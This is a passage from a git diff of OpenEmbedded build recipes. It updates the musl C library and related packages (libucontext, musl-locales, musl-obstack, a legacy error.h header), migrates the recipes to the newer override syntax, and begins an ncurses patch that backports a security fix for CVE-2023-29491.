+ * notice, this list of conditions and the following disclaimer in
+ * the documentation and/or other materials provided with the
+ * distribution.
+ * * Neither the name of Intel Corporation nor the names of its
+ * contributors may be used to endorse or promote products derived
+ * from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+ * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+ * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+ * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+ * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ *
+ */
+
+extern void __attribute__((noreturn)) __stack_chk_fail(void);
+
+void
+__attribute__((noreturn))
+__attribute__((visibility ("hidden")))
+__stack_chk_fail_local (void)
+{
+ __stack_chk_fail ();
+}
diff --git a/meta/recipes-core/musl/libucontext_1.2.bb b/meta/recipes-core/musl/libucontext_1.2.bb
new file mode 100644
index 0000000000..4e34df1439
--- /dev/null
+++ b/meta/recipes-core/musl/libucontext_1.2.bb
@@ -0,0 +1,52 @@
+# Copyright (C) 2019 Khem Raj <raj.khem@gmail.com>
+# Released under the MIT license (see COPYING.MIT for the terms)
+
+SUMMARY = "ucontext implementation featuring glibc-compatible ABI"
+HOMEPAGE = "https://github.com/kaniini/libucontext"
+LICENSE = "ISC"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=ebea527af0602d509b7f4c49533fb1bd"
+SECTION = "libs"
+DEPENDS = ""
+
+SRCREV = "4dde3417b4bb4b1b1545bd913be337680b5e28c3"
+SRC_URI = "git://github.com/kaniini/libucontext;branch=master;protocol=https \
+ "
+
+S = "${WORKDIR}/git"
+
+COMPATIBLE_HOST = ".*-musl.*"
+
+valid_archs = " \
+ x86 x86_64 \
+ ppc ppc64 \
+ mips mips64 \
+ arm aarch64 \
+ s390x \
+"
+
+def map_kernel_arch(a, d):
+ import re
+
+ valid_archs = d.getVar('valid_archs').split()
+
+ if a in valid_archs: return a
+ elif re.match('(i.86|athlon)$', a): return 'x86'
+ elif re.match('x86.64$', a): return 'x86_64'
+ elif re.match('armeb$', a): return 'arm'
+ elif re.match('aarch64$', a): return 'aarch64'
+ elif re.match('aarch64_be$', a): return 'aarch64'
+ elif re.match('aarch64_ilp32$', a): return 'aarch64'
+ elif re.match('aarch64_be_ilp32$', a): return 'aarch64'
+ elif re.match('mips(isa|)(32|)(r6|)(el|)$', a): return 'mips'
+ elif re.match('mips(isa|)64(r6|)(el|)$', a): return 'mips64'
+ elif re.match('p(pc64|owerpc64)(le)', a): return 'ppc64'
+ elif re.match('p(pc|owerpc)', a): return 'ppc'
+ elif re.match('riscv64$', a): return 'riscv64'
+ elif re.match('riscv32$', a): return 'riscv32'
+ else:
+ if not d.getVar("TARGET_OS").startswith("linux"):
+ return a
+ bb.error("cannot map '%s' to a linux kernel architecture" % a)
+
+EXTRA_OEMESON = "-Dcpu=${@map_kernel_arch(d.getVar('TARGET_ARCH'), d)}"
+inherit meson
diff --git a/meta/recipes-core/musl/libucontext_git.bb b/meta/recipes-core/musl/libucontext_git.bb
deleted file mode 100644
index ec988f1920..0000000000
--- a/meta/recipes-core/musl/libucontext_git.bb
+++ /dev/null
@@ -1,63 +0,0 @@
-# Copyright (C) 2019 Khem Raj <raj.khem@gmail.com>
-# Released under the MIT license (see COPYING.MIT for the terms)
-
-SUMMARY = "ucontext implementation featuring glibc-compatible ABI"
-HOMEPAGE = "https://github.com/kaniini/libucontext"
-LICENSE = "ISC"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=6eed01fa0e673c76f5a5715438f65b1d"
-SECTION = "libs"
-DEPENDS = ""
-
-PV = "0.10+${SRCPV}"
-SRCREV = "19fa1bbfc26efb92147b5e85cc0ca02a0e837561"
-SRC_URI = "git://github.com/kaniini/libucontext \
-"
-
-S = "${WORKDIR}/git"
-
-COMPATIBLE_HOST = ".*-musl.*"
-
-valid_archs = " \
- x86 x86_64 \
- ppc ppc64 \
- mips mips64 \
- arm aarch64 \
- s390x \
-"
-
-def map_kernel_arch(a, d):
- import re
-
- valid_archs = d.getVar('valid_archs').split()
-
- if a in valid_archs: return a
- elif re.match('(i.86|athlon)$', a): return 'x86'
- elif re.match('x86.64$', a): return 'x86_64'
- elif re.match('armeb$', a): return 'arm'
- elif re.match('aarch64$', a): return 'aarch64'
- elif re.match('aarch64_be$', a): return 'aarch64'
- elif re.match('aarch64_ilp32$', a): return 'aarch64'
- elif re.match('aarch64_be_ilp32$', a): return 'aarch64'
- elif re.match('mips(isa|)(32|)(r6|)(el|)$', a): return 'mips'
- elif re.match('mips(isa|)64(r6|)(el|)$', a): return 'mips64'
- elif re.match('p(pc|owerpc)', a): return 'ppc'
- elif re.match('p(pc64|owerpc64)', a): return 'ppc64'
- elif re.match('riscv64$', a): return 'riscv64'
- else:
- if not d.getVar("TARGET_OS").startswith("linux"):
- return a
- bb.error("cannot map '%s' to a linux kernel architecture" % a)
-
-export ARCH = "${@map_kernel_arch(d.getVar('TARGET_ARCH'), d)}"
-
-CFLAGS += "-Iarch/${ARCH} -Iarch/common"
-
-EXTRA_OEMAKE = "CFLAGS='${CFLAGS}' LDFLAGS='${LDFLAGS}' LIBDIR='${base_libdir}'"
-
-do_compile() {
- oe_runmake ARCH=${ARCH}
-}
-
-do_install() {
- oe_runmake ARCH="${ARCH}" DESTDIR="${D}" install
-}
diff --git a/meta/recipes-core/musl/musl-legacy-error.bb b/meta/recipes-core/musl/musl-legacy-error.bb
new file mode 100644
index 0000000000..5ce5a233ab
--- /dev/null
+++ b/meta/recipes-core/musl/musl-legacy-error.bb
@@ -0,0 +1,26 @@
+# Copyright (C) 2023 Khem Raj <raj.khem@gmail.com>
+# Released under the MIT license (see COPYING.MIT for the terms)
+
+SUMMARY = "error API GNU extention implementation"
+LICENSE = "BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://error.h;beginline=1;md5=2ee396b23e8507fbf8f98af0471a77c6"
+SECTION = "devel"
+
+SRC_URI = "file://error.h"
+
+do_configure[noexec] = "1"
+do_compile[noexec] = "1"
+
+INHIBIT_DEFAULT_DEPS = "1"
+
+S = "${WORKDIR}"
+
+do_install() {
+ install -Dm 0644 ${S}/error.h -t ${D}${includedir}
+}
+#
+# We will skip parsing for non-musl systems
+#
+COMPATIBLE_HOST = ".*-musl.*"
+DEV_PKG_DEPENDENCY = ""
+RRECOMMENDS:${PN}-dbg = "${PN}-dev (= ${EXTENDPKGV})"
diff --git a/meta/recipes-core/musl/musl-legacy-error/error.h b/meta/recipes-core/musl/musl-legacy-error/error.h
new file mode 100644
index 0000000000..9a4e1f8d00
--- /dev/null
+++ b/meta/recipes-core/musl/musl-legacy-error/error.h
@@ -0,0 +1,60 @@
+#ifndef _ERROR_H_
+#define _ERROR_H_
+
+#include <stdarg.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <errno.h>
+
+#warning usage of non-standard #include <error.h> is deprecated
+
+static unsigned int error_message_count = 0;
+
+static inline void error(int status, int errnum, const char* format, ...)
+{
+ /* should be fflush(stdout), but that's unspecified if stdout has been closed;
+ * stick with fflush(NULL) for simplicity (glibc checks if the fd is still valid) */
+ fflush(NULL);
+
+ va_list ap;
+ fprintf(stderr, "%s: ", program_invocation_name);
+ va_start(ap, format);
+ vfprintf(stderr, format, ap);
+ va_end(ap);
+ if (errnum)
+ fprintf(stderr, ": %s", strerror(errnum));
+ fprintf(stderr, "\n");
+ error_message_count++;
+ if (status)
+ exit(status);
+}
+
+static int error_one_per_line = 0;
+
+static inline void error_at_line(int status, int errnum, const char *filename,
+ unsigned int linenum, const char *format, ...)
+{
+ va_list ap;
+ if (error_one_per_line) {
+ static const char *old_filename;
+ static int old_linenum;
+ if (linenum == old_linenum && filename == old_filename)
+ return;
+ old_filename = filename;
+ old_linenum = linenum;
+ }
+ fprintf(stderr, "%s: %s:%u: ", program_invocation_name, filename, linenum);
+ va_start(ap, format);
+ vfprintf(stderr, format, ap);
+ va_end(ap);
+ if (errnum)
+ fprintf(stderr, ": %s", strerror(errnum));
+ fprintf(stderr, "\n");
+ error_message_count++;
+ if (status)
+ exit(status);
+}
+
+
+#endif /* _ERROR_H_ */
diff --git a/meta/recipes-core/musl/musl-locales_git.bb b/meta/recipes-core/musl/musl-locales_git.bb
new file mode 100644
index 0000000000..1373c60daf
--- /dev/null
+++ b/meta/recipes-core/musl/musl-locales_git.bb
@@ -0,0 +1,85 @@
+# Copyright (C) 2022 Khem Raj <raj.khem@gmail.com>
+# Released under the MIT license (see COPYING.MIT for the terms)
+#
+SUMMARY = "Locales support for musl"
+HOMEPAGE = "https://git.adelielinux.org/adelie/musl-locales/-/wikis/home"
+LICENSE = "MIT & LGPL-3.0-or-later"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=cf5713fba707073020b1db2acaa73e78 \
+ file://LICENSE.MIT;md5=a4f1c6864a83ddf4b754cdab7d593523"
+
+SRC_URI = "git://git.adelielinux.org/adelie/musl-locales;protocol=https;branch=main"
+
+PV = "1.0+git"
+SRCREV = "5663f5bfd30bf9e1e0ba3fc5fe2da6725969f30e"
+
+S = "${WORKDIR}/git"
+
+DEPENDS = "virtual/libintl gettext-native"
+
+PROVIDES = "virtual/libc-locale"
+
+inherit cmake
+
+# We will skip parsing for non-musl systems
+python () {
+ if d.getVar('TCLIBC') != "musl":
+ raise bb.parse.SkipRecipe("Only use it with Musl C library")
+}
+
+# only locale binaries are under GPL-3.0-or-later others are MIT
+LICENSE:${PN} = "LGPL-3.0-or-later"
+LICENSE:locale-base-cs-cz = "MIT"
+LICENSE:locale-base-de-ch = "MIT"
+LICENSE:locale-base-de-de = "MIT"
+LICENSE:locale-base-en-gb = "MIT"
+LICENSE:locale-base-en-us = "MIT"
+LICENSE:locale-base-es-es = "MIT"
+LICENSE:locale-base-fi-fi = "MIT"
+LICENSE:locale-base-fr-ca = "MIT"
+LICENSE:locale-base-fr-fr = "MIT"
+LICENSE:locale-base-it-it = "MIT"
+LICENSE:locale-base-nb-no = "MIT"
+LICENSE:locale-base-nl-nl = "MIT"
+LICENSE:locale-base-pt-br = "MIT"
+LICENSE:locale-base-pt-pt = "MIT"
+LICENSE:locale-base-ru-ru = "MIT"
+LICENSE:locale-base-sr-rs = "MIT"
+LICENSE:locale-base-sv-se = "MIT"
+
+PACKAGES =+ "locale-base-cs-cz \
+ locale-base-de-ch \
+ locale-base-de-de \
+ locale-base-en-gb \
+ locale-base-en-us \
+ locale-base-es-es \
+ locale-base-fi-fi \
+ locale-base-fr-ca \
+ locale-base-fr-fr \
+ locale-base-it-it \
+ locale-base-nb-no \
+ locale-base-nl-nl \
+ locale-base-pt-br \
+ locale-base-pt-pt \
+ locale-base-ru-ru \
+ locale-base-sr-rs \
+ locale-base-sv-se \
+ "
+FILES:locale-base-cs-cz += "${datadir}/i18n/locales/musl/cs_CZ.UTF-8"
+FILES:locale-base-de-ch += "${datadir}/i18n/locales/musl/de_CH.UTF-8"
+FILES:locale-base-de-de += "${datadir}/i18n/locales/musl/de_DE.UTF-8"
+FILES:locale-base-en-gb += "${datadir}/i18n/locales/musl/en_GB.UTF-8"
+FILES:locale-base-en-us += "${datadir}/i18n/locales/musl/en_US.UTF-8"
+FILES:locale-base-es-es += "${datadir}/i18n/locales/musl/es_ES.UTF-8"
+FILES:locale-base-fi-fi += "${datadir}/i18n/locales/musl/fi_FI.UTF-8"
+FILES:locale-base-fr-ca += "${datadir}/i18n/locales/musl/fr_CA.UTF-8"
+FILES:locale-base-fr-fr += "${datadir}/i18n/locales/musl/fr_FR.UTF-8"
+FILES:locale-base-it-it += "${datadir}/i18n/locales/musl/it_IT.UTF-8"
+FILES:locale-base-nb-no += "${datadir}/i18n/locales/musl/nb_NO.UTF-8"
+FILES:locale-base-nl-nl += "${datadir}/i18n/locales/musl/nl_NL.UTF-8"
+FILES:locale-base-pt-br += "${datadir}/i18n/locales/musl/pt_BR.UTF-8"
+FILES:locale-base-pt-pt += "${datadir}/i18n/locales/musl/pt_PT.UTF-8"
+FILES:locale-base-ru-ru += "${datadir}/i18n/locales/musl/ru_RU.UTF-8"
+FILES:locale-base-sr-rs += "${datadir}/i18n/locales/musl/sr_RS.UTF-8"
+FILES:locale-base-sv-se += "${datadir}/i18n/locales/musl/sv_SE.UTF-8"
+
+UPSTREAM_CHECK_COMMITS = "1"
diff --git a/meta/recipes-core/musl/musl-obstack.bb b/meta/recipes-core/musl/musl-obstack.bb
index 3003935fe5..4c71a141b2 100644
--- a/meta/recipes-core/musl/musl-obstack.bb
+++ b/meta/recipes-core/musl/musl-obstack.bb
@@ -4,13 +4,13 @@
SUMMARY = "A standalone library to implement GNU libc's obstack"
DESCRIPTION = "copy + paste of the obstack functions and macros found in GNU gcc libiberty library for use with musl libc"
HOMEPAGE = "https://github.com/pullmoll/musl-obstack"
-LICENSE = "GPL-2.0+"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=3d23e4eef8243efcaab6f0a438078932"
SECTION = "libs"
-PV = "1.1"
-SRCREV = "d2ad66b0df44a4b784956f7f7f2717131ddc05f4"
-SRC_URI = "git://github.com/pullmoll/musl-obstack"
+PV = "1.2.3"
+SRCREV = "f4385255be1615688c6a5f042277304d7ab288b1"
+SRC_URI = "git://github.com/void-linux/musl-obstack;branch=master;protocol=https"
UPSTREAM_CHECK_COMMITS = "1"
diff --git a/meta/recipes-core/musl/musl-utils.bb b/meta/recipes-core/musl/musl-utils.bb
index dd0ce33061..8280333daf 100644
--- a/meta/recipes-core/musl/musl-utils.bb
+++ b/meta/recipes-core/musl/musl-utils.bb
@@ -1,9 +1,9 @@
# Copyright (C) 2018 Khem Raj <raj.khem@gmail.com>
# Released under the MIT license (see COPYING.MIT for the terms)
-DESCRIPTION = "getconf, getent and iconv implementations for musl"
+SUMMARY = "getconf, getent and iconv implementations for musl"
HOMEPAGE = "https://git.alpinelinux.org/cgit/aports/tree/main/musl"
-LICENSE = "BSD-2-Clause & GPL-2.0+"
+LICENSE = "BSD-2-Clause & GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://LICENSE;md5=9d08215e611db87b357e8674b4b42564"
SECTION = "utils"
@@ -11,7 +11,7 @@ SECTION = "utils"
PV = "20170421"
SRCREV = "fb5630138ccabbbc14a19d372096a04e42573c7d"
-SRC_URI = "git://github.com/boltlinux/musl-utils"
+SRC_URI = "git://github.com/boltlinux/musl-utils;branch=master;protocol=https"
UPSTREAM_CHECK_COMMITS = "1"
@@ -21,7 +21,7 @@ S = "${WORKDIR}/git"
PACKAGES =+ "${PN}-iconv"
-FILES_${PN}-iconv = "${bindir}/iconv"
+FILES:${PN}-iconv = "${bindir}/iconv"
COMPATIBLE_HOST = ".*-musl.*"
diff --git a/meta/recipes-core/musl/musl.inc b/meta/recipes-core/musl/musl.inc
index 54edfc88e5..6ca52b186a 100644
--- a/meta/recipes-core/musl/musl.inc
+++ b/meta/recipes-core/musl/musl.inc
@@ -14,16 +14,19 @@ LIC_FILES_CHKSUM = "file://COPYRIGHT;md5=b03f1cc25363d094011f8f4fd8bcfb68"
INHIBIT_DEFAULT_DEPS = "1"
FILES_SOLIBSDEV = ""
-FILES_${PN} += "${libdir}/lib*${SOLIBSDEV}"
-INSANE_SKIP_${PN} = "dev-so"
+FILES:${PN} += "${libdir}/lib*${SOLIBSDEV}"
+INSANE_SKIP:${PN} = "dev-so"
# Doesn't compile in MIPS16e mode due to use of hand-written
# assembly
MIPS_INSTRUCTION_SET = "mips"
# thumb1 is unsupported
-ARM_INSTRUCTION_SET_armv5 = "arm"
-ARM_INSTRUCTION_SET_armv4 = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
+ARM_INSTRUCTION_SET:armv4 = "arm"
+
+# 1.2.4 doesn't support riscv32
+COMPATIBLE_HOST:riscv32 = "null"
# Enable out of tree build
B = "${WORKDIR}/build"
diff --git a/meta/recipes-core/musl/musl/0001-Make-dynamic-linker-a-relative-symlink-to-libc.patch b/meta/recipes-core/musl/musl/0001-Make-dynamic-linker-a-relative-symlink-to-libc.patch
index ba00efe7b3..8b097f3276 100644
--- a/meta/recipes-core/musl/musl/0001-Make-dynamic-linker-a-relative-symlink-to-libc.patch
+++ b/meta/recipes-core/musl/musl/0001-Make-dynamic-linker-a-relative-symlink-to-libc.patch
@@ -1,7 +1,7 @@
-From 0ec74744a4cba7c5fdfaa2685995119a4fca0260 Mon Sep 17 00:00:00 2001
+From f95b6fd0475a95c00e886219271cb5c93838e3c3 Mon Sep 17 00:00:00 2001
From: Amarnath Valluri <amarnath.valluri@intel.com>
Date: Wed, 18 Jan 2017 16:14:37 +0200
-Subject: [PATCH] Make dynamic linker a relative symlink to libc
+Subject: [PATCH 1/2] Make dynamic linker a relative symlink to libc
absolute symlink into $(libdir) fails to load in a cross build
environment, especially when executing qemu in usermode to run target
@@ -13,18 +13,19 @@ V2:
Make use of 'ln -r' to create relative symlinks, as most fo the distros
shipping coreutils 8.16+
+Upstream-Status: Pending
Signed-off-by: Khem Raj <raj.khem@gmail.com>
Signed-off-by: Amarnath Valluri <amarnath.valluri@intel.com>
---
-Upstream-Status: Pending
----
Makefile | 2 +-
tools/install.sh | 8 +++++---
2 files changed, 6 insertions(+), 4 deletions(-)
+diff --git a/Makefile b/Makefile
+index e8cc4436..466d9afd 100644
--- a/Makefile
+++ b/Makefile
-@@ -210,7 +210,7 @@ $(DESTDIR)$(includedir)/%: $(srcdir)/inc
+@@ -210,7 +210,7 @@ $(DESTDIR)$(includedir)/%: $(srcdir)/include/%
$(INSTALL) -D -m 644 $< $@
$(DESTDIR)$(LDSO_PATHNAME): $(DESTDIR)$(libdir)/libc.so
@@ -33,6 +34,8 @@ Upstream-Status: Pending
install-libs: $(ALL_LIBS:lib/%=$(DESTDIR)$(libdir)/%) $(if $(SHARED_LIBS),$(DESTDIR)$(LDSO_PATHNAME),)
+diff --git a/tools/install.sh b/tools/install.sh
+index d913b60b..b6a7f797 100755
--- a/tools/install.sh
+++ b/tools/install.sh
@@ -6,18 +6,20 @@
@@ -58,7 +61,7 @@ Upstream-Status: Pending
m) mode=$OPTARG ;;
?) usage ;;
esac
-@@ -48,7 +50,7 @@ trap 'rm -f "$tmp"' EXIT INT QUIT TERM H
+@@ -48,7 +50,7 @@ trap 'rm -f "$tmp"' EXIT INT QUIT TERM HUP
umask 077
if test "$symlink" ; then
@@ -67,3 +70,6 @@ Upstream-Status: Pending
else
cat < "$1" > "$tmp"
chmod "$mode" "$tmp"
+--
+2.37.2
+
diff --git a/meta/recipes-core/musl/musl/0002-ldso-Use-syslibdir-and-libdir-as-default-pathes-to-l.patch b/meta/recipes-core/musl/musl/0002-ldso-Use-syslibdir-and-libdir-as-default-pathes-to-l.patch
index f57aae5f3c..59bfae5a27 100644
--- a/meta/recipes-core/musl/musl/0002-ldso-Use-syslibdir-and-libdir-as-default-pathes-to-l.patch
+++ b/meta/recipes-core/musl/musl/0002-ldso-Use-syslibdir-and-libdir-as-default-pathes-to-l.patch
@@ -1,7 +1,8 @@
-From 5a2886f81dbca3f2ed28eebe7d27d471da278db8 Mon Sep 17 00:00:00 2001
+From 3cce8716c6c3ae2e0c835caeac3780ec35090b2d Mon Sep 17 00:00:00 2001
From: Serhey Popovych <serhe.popovych@gmail.com>
Date: Tue, 11 Dec 2018 05:44:20 -0500
-Subject: [PATCH] ldso: Use syslibdir and libdir as default pathes to libdirs
+Subject: [PATCH 2/2] ldso: Use syslibdir and libdir as default pathes to
+ libdirs
In absence of /etc/ld-musl-$(ARCH).path ldso uses default path to search
libraries /lib:/usr/local/lib:/usr/lib.
@@ -20,6 +21,8 @@ Signed-off-by: Serhey Popovych <serhe.popovych@gmail.com>
ldso/dynlink.c | 4 +++-
2 files changed, 5 insertions(+), 2 deletions(-)
+diff --git a/Makefile b/Makefile
+index 466d9afd..d2f458fa 100644
--- a/Makefile
+++ b/Makefile
@@ -47,7 +47,8 @@ CFLAGS_AUTO = -Os -pipe
@@ -32,18 +35,20 @@ Signed-off-by: Serhey Popovych <serhe.popovych@gmail.com>
CFLAGS_ALL += $(CPPFLAGS) $(CFLAGS_AUTO) $(CFLAGS)
LDFLAGS_ALL = $(LDFLAGS_AUTO) $(LDFLAGS)
+diff --git a/ldso/dynlink.c b/ldso/dynlink.c
+index cc677952..b0e8815b 100644
--- a/ldso/dynlink.c
+++ b/ldso/dynlink.c
-@@ -24,6 +24,8 @@
- #include "libc.h"
- #include "dynlink.h"
+@@ -29,6 +29,8 @@
+ #define realloc __libc_realloc
+ #define free __libc_free
+#define SYS_PATH_DFLT SYSLIBDIR ":" LIBDIR
+
- static void error(const char *, ...);
-
- #define MAXP2(a,b) (-(-(a)&-(b)))
-@@ -1071,7 +1073,7 @@ static struct dso *load_library(const ch
+ static void error_impl(const char *, ...);
+ static void error_noop(const char *, ...);
+ static void (*error)(const char *, ...) = error_noop;
+@@ -1097,7 +1099,7 @@ static struct dso *load_library(const char *name, struct dso *needed_by)
sys_path = "";
}
}
@@ -52,3 +57,6 @@ Signed-off-by: Serhey Popovych <serhe.popovych@gmail.com>
fd = path_open(name, sys_path, buf, sizeof buf);
}
pathname = buf;
+--
+2.37.2
+
diff --git a/meta/recipes-core/musl/musl/0003-elf.h-add-typedefs-for-Elf64_Relr-and-Elf32_Relr.patch b/meta/recipes-core/musl/musl/0003-elf.h-add-typedefs-for-Elf64_Relr-and-Elf32_Relr.patch
new file mode 100644
index 0000000000..45d40cd5b4
--- /dev/null
+++ b/meta/recipes-core/musl/musl/0003-elf.h-add-typedefs-for-Elf64_Relr-and-Elf32_Relr.patch
@@ -0,0 +1,37 @@
+From 65b0ac0d998bf0f36924a7c27ed9e702b2a5a453 Mon Sep 17 00:00:00 2001
+From: Violet Purcell <vimproved@inventati.org>
+Date: Sat, 4 Nov 2023 12:09:20 -0400
+Subject: [PATCH] elf.h: add typedefs for Elf64_Relr and Elf32_Relr
+
+These were overlooked when DT_RELR was added in commit
+d32dadd60efb9d3b255351a3b532f8e4c3dd0db1, potentially breaking
+software that treats presence of the DT_RELR macro as implying they
+exist.
+
+Upstream-Status: Backport [1.2.5]
+
+Signed-off-by: Zang Ruochen <zangruochen@loongson.cn>
+
+---
+ include/elf.h | 5 +++++
+ 1 file changed, 5 insertions(+)
+
+diff --git a/include/elf.h b/include/elf.h
+index 23f2c4bc..72d17c3a 100644
+--- a/include/elf.h
++++ b/include/elf.h
+@@ -558,6 +558,11 @@ typedef struct {
+
+
+
++typedef Elf32_Word Elf32_Relr;
++typedef Elf64_Xword Elf64_Relr;
++
++
++
+ #define ELF32_R_SYM(val) ((val) >> 8)
+ #define ELF32_R_TYPE(val) ((val) & 0xff)
+ #define ELF32_R_INFO(sym, type) (((sym) << 8) + ((type) & 0xff))
+--
+2.25.1
+
diff --git a/meta/recipes-core/musl/musl_git.bb b/meta/recipes-core/musl/musl_git.bb
index 51b19e89a5..324269a968 100644
--- a/meta/recipes-core/musl/musl_git.bb
+++ b/meta/recipes-core/musl/musl_git.bb
@@ -4,17 +4,16 @@
require musl.inc
inherit linuxloader
-SRCREV = "73cc775bee53300c7cf759f37580220b18ac13d3"
+SRCREV = "79bdacff83a6bd5b70ff5ae5eb8b6de82c2f7c30"
-BASEVER = "1.2.1"
+BASEVER = "1.2.4"
-PV = "${BASEVER}+git${SRCPV}"
+PV = "${BASEVER}+git"
-# mirror is at git://github.com/kraj/musl.git
-
-SRC_URI = "git://git.musl-libc.org/musl \
+SRC_URI = "git://git.etalabs.net/git/musl;branch=master;protocol=https \
file://0001-Make-dynamic-linker-a-relative-symlink-to-libc.patch \
file://0002-ldso-Use-syslibdir-and-libdir-as-default-pathes-to-l.patch \
+ file://0003-elf.h-add-typedefs-for-Elf64_Relr-and-Elf32_Relr.patch \
"
S = "${WORKDIR}/git"
@@ -41,7 +40,7 @@ LDFLAGS += "-Wl,-soname,libc.so"
# disabled automatically due to the optimisation level, but append an explicit
# -fomit-frame-pointer to handle cases where optimisation is set to -O0 or frame
# pointers have been enabled by -fno-omit-frame-pointer earlier in CFLAGS, etc.
-CFLAGS_append_arm = " ${@bb.utils.contains('TUNE_CCARGS', '-mthumb', '-fomit-frame-pointer', '', d)}"
+CFLAGS:append:arm = " ${@bb.utils.contains('TUNE_CCARGS', '-mthumb', '-fomit-frame-pointer', '', d)}"
CONFIGUREOPTS = " \
--prefix=${prefix} \
@@ -49,7 +48,7 @@ CONFIGUREOPTS = " \
--bindir=${bindir} \
--libdir=${libdir} \
--includedir=${includedir} \
- --syslibdir=/lib \
+ --syslibdir=${nonarch_base_libdir} \
"
do_configure() {
@@ -62,28 +61,26 @@ do_compile() {
do_install() {
oe_runmake install DESTDIR='${D}'
- install -d ${D}${bindir} ${D}${base_libdir} ${D}${sysconfdir}
+ install -d ${D}${bindir} ${D}${sysconfdir}
echo "${base_libdir}" > ${D}${sysconfdir}/ld-musl-${MUSL_LDSO_ARCH}.path
echo "${libdir}" >> ${D}${sysconfdir}/ld-musl-${MUSL_LDSO_ARCH}.path
rm -f ${D}${bindir}/ldd ${D}${GLIBC_LDSO}
- lnr ${D}${libdir}/libc.so ${D}${bindir}/ldd
- lnr ${D}${libdir}/libc.so ${D}${GLIBC_LDSO}
+ ln -rs ${D}${libdir}/libc.so ${D}${bindir}/ldd
}
-PACKAGES =+ "${PN}-glibc-compat"
-
-FILES_${PN} += "/lib/ld-musl-${MUSL_LDSO_ARCH}.so.1 ${sysconfdir}/ld-musl-${MUSL_LDSO_ARCH}.path"
-FILES_${PN}-glibc-compat += "${GLIBC_LDSO}"
-FILES_${PN}-staticdev = "${libdir}/libc.a"
-FILES_${PN}-dev =+ "${libdir}/libcrypt.a ${libdir}/libdl.a ${libdir}/libm.a \
+FILES:${PN} += "${nonarch_base_libdir}/ld-musl-${MUSL_LDSO_ARCH}.so.1 ${sysconfdir}/ld-musl-${MUSL_LDSO_ARCH}.path"
+FILES:${PN}-staticdev = "${libdir}/libc.a"
+FILES:${PN}-dev =+ "${libdir}/libcrypt.a ${libdir}/libdl.a ${libdir}/libm.a \
${libdir}/libpthread.a ${libdir}/libresolv.a \
${libdir}/librt.a ${libdir}/libutil.a ${libdir}/libxnet.a \
"
-RDEPENDS_${PN}-dev += "linux-libc-headers-dev bsd-headers-dev libssp-nonshared-staticdev"
-RPROVIDES_${PN}-dev += "libc-dev virtual-libc-dev"
-RPROVIDES_${PN} += "ldd libsegfault rtld(GNU_HASH)"
+RDEPENDS:${PN}-dev += "linux-libc-headers-dev bsd-headers-dev libssp-nonshared-staticdev"
+RPROVIDES:${PN}-dev += "libc-dev virtual-libc-dev"
+RPROVIDES:${PN} += "ldd rtld(GNU_HASH)"
LEAD_SONAME = "libc.so"
-INSANE_SKIP_${PN}-dev = "staticdev"
-INSANE_SKIP_${PN} = "libdir"
+INSANE_SKIP:${PN}-dev = "staticdev"
+INSANE_SKIP:${PN} = "libdir"
+
+UPSTREAM_CHECK_COMMITS = "1"
diff --git a/meta/recipes-core/ncurses/files/0001-Fix-CVE-2023-29491.patch b/meta/recipes-core/ncurses/files/0001-Fix-CVE-2023-29491.patch
new file mode 100644
index 0000000000..1232c8c2a8
--- /dev/null
+++ b/meta/recipes-core/ncurses/files/0001-Fix-CVE-2023-29491.patch
@@ -0,0 +1,462 @@
+From 3d54a41f12e9aa059f06e66e72d872f2283395b6 Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Sun, 30 Jul 2023 21:14:00 -0700
+Subject: [PATCH] Fix CVE-2023-29491
+
+CVE: CVE-2023-29491
+
+Upstream-Status: Backport [http://ncurses.scripts.mit.edu/?p=ncurses.git;a=commitdiff;h=eb51b1ea1f75a0ec17c9c5937cb28df1e8eeec56]
+
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+---
+ ncurses/tinfo/lib_tgoto.c | 10 +++-
+ ncurses/tinfo/lib_tparm.c | 116 ++++++++++++++++++++++++++++++++-----
+ ncurses/tinfo/read_entry.c | 3 +
+ progs/tic.c | 6 ++
+ progs/tparm_type.c | 9 +++
+ progs/tparm_type.h | 2 +
+ progs/tput.c | 61 ++++++++++++++++---
+ 7 files changed, 185 insertions(+), 22 deletions(-)
+
+diff --git a/ncurses/tinfo/lib_tgoto.c b/ncurses/tinfo/lib_tgoto.c
+index 9cf5e100..c50ed4df 100644
+--- a/ncurses/tinfo/lib_tgoto.c
++++ b/ncurses/tinfo/lib_tgoto.c
+@@ -207,6 +207,14 @@ tgoto(const char *string, int x, int y)
+ result = tgoto_internal(string, x, y);
+ else
+ #endif
+- result = TIPARM_2(string, y, x);
++ if ((result = TIPARM_2(string, y, x)) == NULL) {
++ /*
++ * Because termcap did not provide a more general solution such as
++ * tparm(), it was necessary to handle single-parameter capabilities
++ * using tgoto(). The internal _nc_tiparm() function returns a NULL
++ * for that case; retry for the single-parameter case.
++ */
++ result = TIPARM_1(string, y);
++ }
+ returnPtr(result);
+ }
